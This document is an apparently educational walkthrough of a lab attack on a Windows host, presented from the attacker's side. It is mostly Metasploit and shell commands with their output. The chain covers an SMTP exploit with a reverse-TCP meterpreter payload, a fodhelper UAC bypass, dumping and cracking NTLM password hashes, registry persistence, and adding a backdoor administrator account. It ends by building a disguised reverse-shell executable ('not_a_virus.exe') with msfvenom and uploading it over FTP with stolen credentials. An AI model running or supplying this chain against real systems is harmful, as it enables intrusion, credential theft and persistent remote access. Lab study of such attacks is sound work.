

Introduction

- *In this presentation, I will walk you through an attack from the hacker's side.*
- *We'll explore each phase*
- *from discovery to exploitation, persistence, and data exfiltration.*

Reconnaissance — Discovering the Target

Tool used: **Nmap**

```
$ nmap 192.168.47.145
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 09:
Nmap scan report for 192.168.47.145
Host is up (0.0018s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
25/tcp    open  smtp
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi

Nmap done: 1 IP address (1 host up) scanned in 2.67 seconds
```

Key findings:

FTP server running on port **21**

SMTP service available on port **25**

Exploiting the Vulnerable SMTP Server

Tool used: **msfconsole (Metasploit)**

Achieved: Initial shell access

```
msf6 exploit(windows/sntp/mercury_cram_md5) > show options
Module options (exploit/windows/sntp/mercury_cram_md5):


| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 25              | yes      | The target port (TCP)                                                                                                                                                                               |


Payload options (windows/meterpreter/reverse_tcp):


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.47.132  | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |


Exploit target:


| Id | Name                               |
|----|------------------------------------|
| 0  | Mercury Mail Transport System 4.51 |


View the full module info with the info, or info -d command.
msf6 exploit(windows/sntp/mercury_cram_md5) > set rhost 192.168.47.145
rhost => 192.168.47.145
```

The Mercury SMTP server lacked permissions to dump user hashes or escalate privileges

```
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: 1168
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: 1346 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
meterpreter > █
```

Solution: Used post exploit suggester in Metasploit

```
meterpreter >
Background session 1? [y/N]
msf6 exploit(windows/sntp/mercury_cram_md5) > search suggester

Matching Modules
=====


| # | Name                                     | Disclosure Date | Rank   | Check | Description                         |
|---|------------------------------------------|-----------------|--------|-------|-------------------------------------|
| 0 | post/multi/recon/local_exploit_suggester | .               | normal | No    | Multi Recon Local Exploit Suggester |



Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 exploit(windows/sntp/mercury_md5) > use 0
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.47.145 - Collecting local exploits for x86/windows...
[*] 192.168.47.145 - 195 exploit checks are being tried...
[+] 192.168.47.145 - exploit/windows/local/bypassuac_fodhelper: The target appears to be vulnerable.
[+] 192.168.47.145 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[*] Running check method for exploit 41 / 41
[*] 192.168.47.145 - Valid modules for session 1:



| # | Name                                                          | Potentially Vulnerable? | Check Result                                        |
|---|---------------------------------------------------------------|-------------------------|-----------------------------------------------------|
| 1 | exploit/windows/local/bypassuac_fodhelper                     | Yes                     | The target appears to be vulnerable.                |
| 2 | exploit/windows/local/ms16_032_secondary_logon_handle_privesc | Yes                     | The service is running, but could not be validated. |
| 3 | exploit/windows/local/adobe_sandbox_adobecollabsync           | No                      | Cannot reliably check exploitability.               |


```


Windows/local/bypassuac_fodhelper

```
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/bypassuac_fodhelper
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_fodhelper) > show options

Module options (exploit/windows/local/bypassuac_fodhelper):

  Name      Current Setting  Required  Description
  --      -
  SESSION    session          yes       The session to run this module on

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  process         yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.47.132  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Windows x86

View the full module info with the info, or info -d command.
msf6 exploit(windows/local/bypassuac_fodhelper) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac_fodhelper) > set lport 5555
lport => 5555
msf6 exploit(windows/local/bypassuac_fodhelper) > run
```

Result: Successfully escalated to SYSTEM privileges + hashdump

```
msf6 exploit(windows/local/bypassuac_fodhelper) > run

[*] Started reverse TCP handler on 192.168.47.132:5555
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\Sysnative\cmd.exe /c C:\Windows\System32\fodhelper.exe
[*] Sending stage (176198 bytes) to 192.168.47.145
[*] Cleaning up registry keys ...
[*] Meterpreter session 2 opened (192.168.47.132:5555 → 192.168.47.145:24736) at 2025-01-30 10:18

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
dan:1003:aad3b435b51404eeaad3b435b51404ee:c07d9d25d873b0d78e400fb0428f345e:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
shelly:1000:aad3b435b51404eeaad3b435b51404ee:c0469dd1bd5e56c8d3fff736d7d07e60:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:81730b82cf884e5b15c17f6751e3842b:::
meterpreter > █
```


Establishing Persistence

Installed a backdoor using registry modification

```
session → 2  
msf6 exploit(windows/local/registry_persistence) > show options
```

Module options (exploit/windows/local/registry_persistence):

Name	Current Setting	Required	Description
BLOB_REG_KEY		no	The registry key to use for storing the payload blob. (Default: random)
BLOB_REG_NAME		no	The name to use for storing the payload blob. (Default: random)
CREATE_RC	true	no	Create a resource file for cleanup
RUN_NAME		no	The name to use for the 'Run' key. (Default: random)
SESSION	2	yes	The session to run this module on
SLEEP_TIME	0	no	Amount of time to sleep (in seconds) before executing payload. (Default: 0)
STARTUP	USER	yes	Startup type for the persistent payload. (Accepted: USER, SYSTEM)

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.47.132	yes	The listen address (an interface may be specified)
LPORT	6666	yes	The listen port

****DisablePayloadHandler: True (no handler will be created!)****

Exploit target: 0

Windows/local/registry_persistence

```
msf6 exploit(windows/local/registry_persistence) > run
```

```
[*] Generating payload blob..  
[+] Generated payload, 6692 bytes  
[*] Root path is HKCU  
[*] Installing payload blob..  
[+] Created registry key HKCU\Software\GzbgOklu  
[+] Installed payload blob to HKCU\Software\GzbgOklu\14MKLFBk  
[*] Installing run key  
[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\p0a0XJVC  
[*] Clean up Meterpreter RC file: /home/roey/.msf4/logs/persistence/192.168.47.145_20250130.2401/192.168.47.145_20250130.2401.rc  
msf6 exploit(windows/local/registry_persistence) > █
```

T1136.001 - Creates a new user

```
msf6 exploit(windows/local/registry_persistence) > sessions 2  
[*] Starting interaction with 2...
```

```
meterpreter > shell  
Process 7760 created.  
Channel 1 created.  
Microsoft Windows [Version 10.0.19045.5247]  
(c) Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>net user hacker 12345 /add  
net user hacker 12345 /add  
The command completed successfully.
```

```
C:\Windows\system32>net localgroup Administrators hacker /add  
net localgroup Administrators hacker /add  
The command completed successfully.
```

crack the hash.

Tool used: john

```
$ john --format=nt --show hash.txt
```

```
Administrator::500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
dan:dandan:1003:aad3b435b51404eeaad3b435b51404ee:c07d9d25d873b0d78e400fb0428f345e:::
```

```
DefaultAccount::503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
shelly:shelly123:1000:aad3b435b51404eeaad3b435b51404ee:c0469dd1bd5e56c8d3fff736d7d07e60:::
```

“backdoor”

Tool used: msfvenum

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.47.132 LPORT=80 -f exe -o not_a_virus.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder specified, outputting raw payload  
Payload size: 460 bytes  
Final size of exe file: 7168 bytes  
Saved as: not_a_virus.exe
```


Uploading a backdoor via FTP With the stolen credentials

```
$ ftp 192.168.47.145
Connected to 192.168.47.145.
220 Wing FTP Server ready... (UNREGISTERED WING FTP SERVER)
Name (192.168.47.145:roey): dan
331 Password required for dan
Password:
230 User dan logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put not_a_virus.exe
local: not_a_virus.exe remote: not_a_virus.exe
229 Entering Extended Passive Mode (|||1024|)
150 Opening BINARY mode data connection for file transfer.
100% |*****| 7168 47.14 MiB/s 00:00 ETA
226 File received ok. Transferred:7168Bytes;Average speed is:7000.000KB/s
7168 bytes sent in 00:00 (165.37 KiB/s)
ftp> bye
221 Goodbye.
```